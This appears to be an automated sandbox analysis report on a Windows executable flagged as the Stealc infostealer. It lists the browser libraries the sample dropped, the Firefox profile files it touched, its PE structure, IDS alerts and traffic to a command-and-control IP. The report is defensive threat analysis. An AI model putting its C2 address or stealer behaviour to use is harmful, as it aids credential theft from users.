Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KKv1n1E6k9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KKv1n1E6k9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947719319464748
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'841'152 bytes
MD5:	dd529f774ea232f4da3934f9ea885ae1
SHA1:	c85976533e55d0ac55b1035bba7f2b6aab205c5e
SHA256:	968c80a2bd0481681bb6674ab957e9b1d15eb2992f62592a6946c79c1512c5fa
SHA512:	8a87561e866469dabf0d8d6ccf1b15f827526f7daf56ebbf897e5415d9dba5197f9869c8e4b3136a214e84a120e6380284181f98104ab28a37d58e62cd8b3d3a
SSDEEP:	49152:V9rhr/iHaXoo4tgDe+FQF5LPnE1jnwsmvb8x:VlJorgW7fE1jd5
TLSH:	4985334AA6F3567FE85C07312732B789DD3DF9D062CCCB0FB068C5A1B593A4D68A150A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6E3D0CCACAh
psadbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	f07061e10c514e1341e10238489245ca	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	b7dbf97b87b1cf0ea1a7b812153bb339	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tnilader	0x4fb000	0x19c000	0x19b400	1ab00c3e77208425b3119a5efc9e78a8	False	0.9947230005699088	data	7.953872186334989	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xlmlwmsp	0x697000	0x1000	0x600	e3fbdb59c0008e9707a1faa88350e061	False	0.5709635416666666	data	4.990252470898816	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	409e8f1600890b84b664b0bb006f3991	False	0.05744485294117647	DOS executable (COM)	0.7962482850393463	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T06:03:02.658881+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:03.011046+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:03.102892+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-01T06:03:03.317551+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:03.324345+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-01T06:03:04.294103+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:04.769545+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:09.912536+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:11.006619+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:11.611802+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:12.139109+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:13.759053+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-01T06:03:14.141025+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 06:03:01.663958073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:01.669040918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:01.669147968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:01.669294119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:01.674011946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:02.390451908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:02.390608072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:02.423464060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:02.428401947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:02.658813953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:02.658880949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:02.791661978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:02.796561956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.010977983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.011014938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.011045933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:03.011086941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:03.096885920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.096940994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:03.098059893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:03.102891922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.317473888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:03.317516088 CEST	80	49730	185.215.113.37	192.168.2.4
